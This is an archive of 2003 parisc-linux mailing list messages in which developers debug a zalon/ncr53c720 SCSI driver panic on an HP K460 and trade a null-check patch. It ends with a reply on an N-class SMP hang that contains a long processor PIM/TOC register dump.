X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] zalon/ncr53c720 crashes K460  (parisc port) on bootup.
Date: Sat, 27 Sep 2003 08:48:20 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20030927074820.GR24824__43002.6326831014$1416622816$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <1064634188.641.27.camel@laptop.bradetich.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622816 31655 80.91.229.3 (22 Nov 2014 02:20:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:16 +0000 (UTC)
Cc: linux-scsi@vger.kernel.org, parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 27 01:48:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B311348AD
	for <parisc-linux@lists.parisc-linux.org>; Sat, 27 Sep 2003 01:48:24 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A39oS-0002Lm-PO; Sat, 27 Sep 2003 08:48:20 +0100
Content-Disposition: inline
In-Reply-To: <1064634188.641.27.camel@laptop.bradetich.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19636

On Fri, Sep 26, 2003 at 09:43:08PM -0600, Ryan Bradetich wrote:
> ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
> ncr53c720-0: suspicious SCSI data while resetting the BUS.
> ncr53c720-0: dp1,d15-8,dp0,d7-0,rst,req,ack,bsy,sel,atn,msg,c/d,i/o =
> 0x3fdff00, expecting 0x100

3fdff00 is
rst set
d7-d0 set
dp0 clear
d8-d15 set
dp1 clear

SCSI is even parity, right?  So we're seeing all 1s on the bus when
we're expecting all 0s, but there's no parity problem.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: zalon/ncr53c720 crashes K460  (parisc port) on bootup.
Date: 27 Sep 2003 08:45:56 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <1064670357.2217.18.camel__28250.1529124149$1416622816$gmane$org@mulgrave>
References: <1064634188.641.27.camel@laptop.bradetich.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622816 31657 80.91.229.3 (22 Nov 2014 02:20:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:16 +0000 (UTC)
Cc: SCSI Mailing List <linux-scsi@vger.kernel.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 27 07:46:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8A5BE483E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 27 Sep 2003 07:46:03 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h8RDjuq15542;
	Sat, 27 Sep 2003 09:45:57 -0400
In-Reply-To: <1064634188.641.27.camel@laptop.bradetich.net>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19637

On Fri, 2003-09-26 at 22:43, Ryan Bradetich wrote:
> The zalon/ncr53c720 combination is fatal during booting on my K460
> parisc box.  I believe the scsi termination is correct since I performed
> a fresh debian install on the scsi disks and I can boot from then every
> time I use a 2.4 kernel :)  This problem appeared with with the latest
> cvs kernel from parisc-linux.org.
> 
> This system does boot and function when I do not compile zalon support
> into the kernel and use a nfsroot.
> 
> I can provide addtional information and test patches (or give access to
> this system) if requested.
> 
> Any thoughts or feedback appreciated!  

I'm not familiar with how the K class is wired.  However, the ncr53c8xx
driver that underlies the zalon720 is extremely ratty.  On my C360, I
can precipitate exactly this panic just by inserting the zalon7xx module
with an unterminated bluefish card.

Although we really need to track this down and fix it (which I'll look
into doing), all it would do would be to detach the driver correctly at
that point (so you still wouldn't see any devices).  Could you look at
your SCSI setup to see if the driver has a point (i.e. is there a
termination or cabling problem)?

James




From - Thu Nov 08 21:29:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: zalon/ncr53c720 crashes K460  (parisc port) on bootup.
Date: 27 Sep 2003 10:45:50 -0500
Lines: 65
Approved: news@gmane.org
Message-ID: <1064677551.2002.20.camel__38340.6258923516$1416622817$gmane$org@mulgrave>
References: <1064634188.641.27.camel@laptop.bradetich.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622817 31659 80.91.229.3 (22 Nov 2014 02:20:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:17 +0000 (UTC)
Cc: SCSI Mailing List <linux-scsi@vger.kernel.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 27 09:45:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id DCAD1483E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 27 Sep 2003 09:45:53 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h8RFjpq20231;
	Sat, 27 Sep 2003 11:45:51 -0400
In-Reply-To: <1064634188.641.27.camel@laptop.bradetich.net>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19638

On Fri, 2003-09-26 at 22:43, Ryan Bradetich wrote:
> The zalon/ncr53c720 combination is fatal during booting on my K460
> parisc box.  I believe the scsi termination is correct since I performed
> a fresh debian install on the scsi disks and I can boot from then every
> time I use a 2.4 kernel :)  This problem appeared with with the latest
> cvs kernel from parisc-linux.org.
> 
> This system does boot and function when I do not compile zalon support
> into the kernel and use a nfsroot.
> 
> I can provide addtional information and test patches (or give access to
> this system) if requested.
> 
> Any thoughts or feedback appreciated!  

This should fix the panic, but it simply detaches correctly.

James

===== drivers/scsi/ncr53c8xx.c 1.37 vs edited =====
--- 1.37/drivers/scsi/ncr53c8xx.c	Thu Sep 25 20:08:49 2003
+++ edited/drivers/scsi/ncr53c8xx.c	Sat Sep 27 09:44:21 2003
@@ -8585,12 +8585,17 @@
 
 int ncr53c8xx_release(struct Scsi_Host *host)
 {
+	ncb_p np;
+	struct host_data *host_data;
+
 #ifdef DEBUG_NCR53C8XX
-printk("ncr53c8xx : release\n");
+	printk("ncr53c8xx : release\n");
 #endif
-     ncr_detach(((struct host_data *) host->hostdata)->ncb);
+	if((host_data = (struct host_data *)host->hostdata) &&
+	   host_data->ncb)
+		ncr_detach(host_data->ncb);
 
-     return 1;
+	return 1;
 }
 

===== drivers/scsi/zalon.c 1.11 vs edited =====
--- 1.11/drivers/scsi/zalon.c	Thu Sep 25 20:08:51 2003
+++ edited/drivers/scsi/zalon.c	Sat Sep 27 10:31:52 2003
@@ -146,7 +146,7 @@
 
 	host = ncr_attach(&zalon7xx_template, unit, &device);
 	if (!host)
-		goto fail;
+		goto out;
 
 	if (request_irq(irq, ncr53c8xx_intr, SA_SHIRQ, dev->dev.bus_id, host)) {
 		printk(KERN_ERR "%s: irq problem with %d, detaching\n ",
@@ -169,6 +169,7 @@
 	free_irq(irq, host);
  fail:
 	ncr53c8xx_release(host);
+ out:
 	return error;
 }
 



From - Thu Nov 08 21:29:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: zalon/ncr53c720 crashes K460  (parisc port) on bootup.
Date: Sat, 27 Sep 2003 18:23:33 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <20030927172333.GS24824__21658.9864613072$1416622817$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <1064634188.641.27.camel@laptop.bradetich.net> <1064677551.2002.20.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622817 31661 80.91.229.3 (22 Nov 2014 02:20:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:17 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>,
	SCSI Mailing List <linux-scsi@vger.kernel.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 27 11:23:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9DBBD483E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 27 Sep 2003 11:23:36 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A3In7-00064a-M3; Sat, 27 Sep 2003 18:23:33 +0100
Content-Disposition: inline
In-Reply-To: <1064677551.2002.20.camel@mulgrave>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19639

On Sat, Sep 27, 2003 at 10:45:50AM -0500, James Bottomley wrote:
> This should fix the panic, but it simply detaches correctly.

Necessary, but not sufficient, I think ... look at ncr_attach().
It doesn't zero hostdata->ncb.  Adding that is easy enough ... I'm about
to commit a patch to the parisc tree containing this fix.

> ===== drivers/scsi/ncr53c8xx.c 1.37 vs edited =====
> --- 1.37/drivers/scsi/ncr53c8xx.c	Thu Sep 25 20:08:49 2003
> +++ edited/drivers/scsi/ncr53c8xx.c	Sat Sep 27 09:44:21 2003
> @@ -8585,12 +8585,17 @@
>  
>  int ncr53c8xx_release(struct Scsi_Host *host)
>  {
> +	ncb_p np;
> +	struct host_data *host_data;
> +
>  #ifdef DEBUG_NCR53C8XX
> -printk("ncr53c8xx : release\n");
> +	printk("ncr53c8xx : release\n");
>  #endif
> -     ncr_detach(((struct host_data *) host->hostdata)->ncb);
> +	if((host_data = (struct host_data *)host->hostdata) &&
> +	   host_data->ncb)
> +		ncr_detach(host_data->ncb);
>  
> -     return 1;
> +	return 1;
>  }
>  
> 
> ===== drivers/scsi/zalon.c 1.11 vs edited =====
> --- 1.11/drivers/scsi/zalon.c	Thu Sep 25 20:08:51 2003
> +++ edited/drivers/scsi/zalon.c	Sat Sep 27 10:31:52 2003
> @@ -146,7 +146,7 @@
>  
>  	host = ncr_attach(&zalon7xx_template, unit, &device);
>  	if (!host)
> -		goto fail;
> +		goto out;
>  
>  	if (request_irq(irq, ncr53c8xx_intr, SA_SHIRQ, dev->dev.bus_id, host)) {
>  		printk(KERN_ERR "%s: irq problem with %d, detaching\n ",
> @@ -169,6 +169,7 @@
>  	free_irq(irq, host);
>   fail:
>  	ncr53c8xx_release(host);
> + out:
>  	return error;
>  }

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] N Class SMP pb ?  (follow up)
Date: Sat, 27 Sep 2003 18:16:10 +0000
Lines: 695
Approved: news@gmane.org
Message-ID: <3F75D3EA.3010106@tiscali.be>
References: <3F704CAF00001DCF@ocpmta2.freegates.net> <20030926165045.GB11759@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622817 31663 80.91.229.3 (22 Nov 2014 02:20:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 27 12:16:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 411FB4840
	for <parisc-linux@lists.parisc-linux.org>; Sat, 27 Sep 2003 12:16:03 -0600 (MDT)
Original-Received: from [62.235.120.18] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1A3Jbr-0005cl-Jc; Sat, 27 Sep 2003 20:15:59 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030908 Debian/1.4-4
X-Accept-Language: en
In-Reply-To: <20030926165045.GB11759@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19640

Hello Grant,

Grant Grundler wrote:

>On Fri, Sep 26, 2003 at 05:46:35PM +0200, Joel Soete wrote:
>  
>
>>>It means either other CPU never got the interrupt (locked up
>>>with I-bit off) or the "unstarted_count" isn't coherent between the CPUs.
>>>      
>>>
>>hmm how could I verify this hypothesis?
>>    
>>
>
>TOC the machine, "ser pim" and look at PSW in TOC Info for each CPU.
>bit 0 is the I-Bit IIRC.
>  
>
Here is such TOC:
PROCESSOR PIM INFORMATION

Original Product Number:  A3639C
Current Product Number:   A3639C


-------  Processor 1 HPMC Information - PDC Version: 41.28^@  ------

Timestamp =    Tue Mar  11 18:07:11 GMT 2003    (20:03:03:11:18:07:11)

HPMC Chassis Codes

       Chassis Code        Extension
       ------------        ---------
       0x0000082000ff6242  0x0000000000000000
       0x1800082011016312  0xcb81000000000000
       0x0000087000ff6292  0x000000ffff800000
       0x6000082013016062  0x2002000000080000
       0x6000082013016072  0x0000000000080000
       0x7000082013016082  0x0000000000192200
       0x6000082013036062  0x2001000000082004
       0x6000082013036072  0x0000000000082000
       0x7000082013036082  0x0000000000992600
       0x6000082070006062  0x0000000000080000
       0x6000082070006072  0x0000000000080000
       0x7000082070006082  0x0000000000192200
       0x6000082070016062  0x0000000000000800
       0x6000082070016072  0x0000000000000800
       0x7000082070016082  0x00000000001a4400
       0x0000080080006310  0x0000000000000001
       0x7000082082006333  0x0000000000b92200
       0x7000082082016333  0x0000000000b92200
       0x000008008000631f  0x0000000000000000
       0x0000082000ff6452  0x0000000000000000
       0x0000082000ff6402  0x0000000000000000
       0x0000080080006300  0x0000000000000001
       0x7000082082006333  0x0000000000b92200
       0x7000082382006343  0x0000000000070200
       0x7000082382016343  0x0000000000070200
       0x7000082382026343  0x0000000000070200
       0x7000082382046343  0x0000000000070200
       0x7000082382056343  0x0000000000070200
       0x7000082382086343  0x0000000000070200
       0x70000823820a6343  0x0000000000070200
       0x70000823820c6343  0x0000000000070200
       0x7000082082016333  0x0000000000b92200
       0x7000082382106343  0x0000000000070200
       0x7000082382126343  0x0000000000070200
       0x7000082382146343  0x0000000000070200
       0x7000082382186343  0x0000000000070200
       0x70000823821a6343  0x0000000000070200
       0x70000823821c6343  0x0000000000070200
       0x0000080089006200  0x0000000000000000
       0x0000082389006200  0x0000000000000000
       0x0000080086006200  0x0000000000000000
       0x000008008000630f  0x0000000000000000


General Registers 0 - 31
00-03  0000000000000000  00000000104f6380  000000001014acb4  
00000000104f3b80
04-07  000000008f029000  0000000010423688  000000008f0b8000  
0000000010000000
08-11  0000000013484f70  0000000013481e48  000000007f0b8b25  
000000001054ebc0
12-15  00000000000e1984  000000001054ec20  000000008f0a40c0  
000000008f0bf708
16-19  0000000013481e48  0000000000000000  00000000faf005e0  
0000000000000580
20-23  000000001054ebc0  00000000002f7465  00000000003f45a2  
000fe051ffc07eb8
24-27  000000007f029b27  00000000000e1984  000000008f0a40c0  
00000000104f3b80
28-31  000000000007f029  003f81480007f029  000000008f0e4f40  
0000000000008ba3


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
08-11  0000000000000016  0000000000000000  00000000000000c0  
000000000000002b
12-15  0000000000000000  0000000000000000  0000000000107000  
ffe0000000000000
16-19  00000024643cebe8  0000000000000000  000000001014acec  
0000000037dd3f61
20-23  0000000000000600  00000000000e1984  000000ff0804c70f  
c000000000000000
24-27  0000000000427000  000000007f04b000  0000000000041020  
000000ffff95c810
28-31  5555555555555555  5555555555555555  000000008f0e4000  
0000000010560000

Space Registers 0 - 7
00-03  00000580          00000580          00000000          00000580
04-07  00000000          00000000          00000000          00000000


IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x000000001014acf0
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0010c03b
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0xfffffffffed25000


Floating Point Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
04-07  000000001050eec0  00000000104f3b80  0000000000000002  
000000001049d248
08-11  00000000104f3b80  0000000000000802  00000000104be588  
000000008fac8000
12-15  0000000000000000  0000000000000000  000000001016ace8  
00000000103ad6e0
16-19  00000000000009ca  000000008f7cb000  000000000800000f  
000000001049d250
20-23  000000001050eec0  00000000104f3b80  00000000003f45a2  
000000000000ba2e
24-27  0000999900000000  000099997fac8b70  000000007fac8b78  
000000000bebc200
28-31  0000000000000001  00000000ff915e20  0000000010165bf4  
00000000104f3b80


Check Summary                = 0xcb81000000000000
Available Memory             = 0x0000000100000000
CPU Diagnose Register 2      = 0x0301010800802004
CPU Status Register 0        = 0x2640c24000000000
CPU Status Register 1        = 0x8000200000000000
SADD LOG                     = 0xf8efdb00003fd800
Read Short LOG               = 0xc18200ff80000002



-----------------  DEW 1 HPMC Information -  ------

Timestamp =    Tue Mar  11 18:07:11 GMT 2003    (20:03:03:11:18:07:11)

Runway Control Log Reg            = 0x00927b0000000000
Runway Address Data Log Reg Odd   = 0xc0aa1010c4a61010
Runway Address Data Log Reg Even  = 0xc8a61010cca61010
Runway Address Log Reg            = 0x00000000000000f4
Runway Broad Error Log Reg        = 0x000000000000005c

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
                ERR_ERROR       X                X

Merced Bus Requestor Address      = 0x0000000000000000
Merced Bus Target Address         = 0x0000000000000000
Merced Bus Responder Address      = 0x0000000000000000
Merced Error Status Reg           = 0x2002000000080000
Merced Error Overflow Reg         = 0x0000000000080000
Merced AERR Addr1 Log Reg         = 0x00006000ff86fdc0
Merced AERR Addr2 Log Reg         = 0x00008000078fff08
Merced DERR  Log Reg              = 0x0001000000000000
Merced Error Syndrome Reg         = 0x00000000000000c0


-------  Processor 1^@ LPMC Information ------------------

Check Type                   = 0x00000000
IC Parity Info               = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000



-------  Processor 1^@ TOC Information -------------------

General Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
24-27  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
28-31  0000000000000000  0000000000000000  0000000000000000  
0000000000000000


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
24-27  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
28-31  0000000000000000  0000000000000000  0000000000000000  
0000000000000000

Space Registers 0 - 7
00-03  00000000          00000000          00000000          00000000
04-07  00000000          00000000          00000000          00000000

IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x0000000000000000
CPU State                    = 0x00000000



-------  Processor 3 HPMC Information - PDC Version: 41.28^@  ------

Timestamp =    Tue Mar  11 18:07:11 GMT 2003    (20:03:03:11:18:07:11)

HPMC Chassis Codes

       Chassis Code        Extension
       ------------        ---------
       0x0000082000ff6242  0x0000000000000000
       0x1800082011036322  0xcb81800000000000
       0x0000082000ff6452  0x0000000000000000
       0x0000082000ff6402  0x0000000000000000


General Registers 0 - 31
00-03  0000000000000000  0000000010502b80  00000000101161cc  
00000000103ef0f8
04-07  000000000800000f  0000000000000002  0000000000000000  
00000000104f3b80
08-11  00000000103ef0f8  00000000103ef0f8  000000001038c43c  
000000001038af08
12-15  0000000000000001  0000000000000001  0000000000000000  
000000001038e004
16-19  000000001038e018  000000008f7cc180  0000000000000002  
0000000000000001
20-23  000000000000702c  0000000010423078  00000000104f4380  
0000000000000001
24-27  0000000000000116  000000001038c43c  00000000103ef130  
00000000104f3b80
28-31  0000000000000000  000000008f0353b0  000000008f0353c0  
0000000000008ba3


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
08-11  0000000000000018  0000000000000000  00000000000000c0  
000000000000003d
12-15  0000000000000000  0000000000000000  0000000000107000  
ffe0000000000000
16-19  000000246412e91b  0000000000000000  00000000101162d0  
000000008e605e8d
20-23  0000000000000600  0000000000000000  000000000806060f  
0000000000000000
24-27  0000000000427000  000000007f03e000  0000000000041020  
000000ffff95c810
28-31  000000ffff95c810  5555555555555555  000000008f034000  
0000000000008020

Space Registers 0 - 7
00-03  00000600          00000000          00000000          00000600
04-07  00000000          00000000          00000000          00000000


IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x00000000101162d4
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030000d
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0xfffffffffed2d000
System Requestor Address     = 0x000000fffed2c000


Floating Point Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  
0000000000000000
04-07  000000001050eec0  00000000104f3b80  0000000000000002  
000000001049d248
08-11  00000000104f3b80  0000000000000802  00000000104be588  
000000008fac8000
12-15  0000000000000000  0000000000000000  000000001016ace8  
00000000103ad6e0
16-19  00000000000009ca  000000008f7cb000  000000000800000f  
000000001049d250
20-23  000000001050eec0  00000000104f3b80  0000000000000000  
000000000000ba2e
24-27  0000999900000000  000099997fac8b70  000000007fac8b78  
000000000bebc200
28-31  0000000000000001  00000000ff915e20  0000000010165bf4  
00000000104f3b80


Check Summary                = 0xcb81800000000000
Available Memory             = 0x0000000100000000
CPU Diagnose Register 2      = 0x0301030800802004
CPU Status Register 0        = 0x3640c24000000000
CPU Status Register 1        = 0x8000000000000000
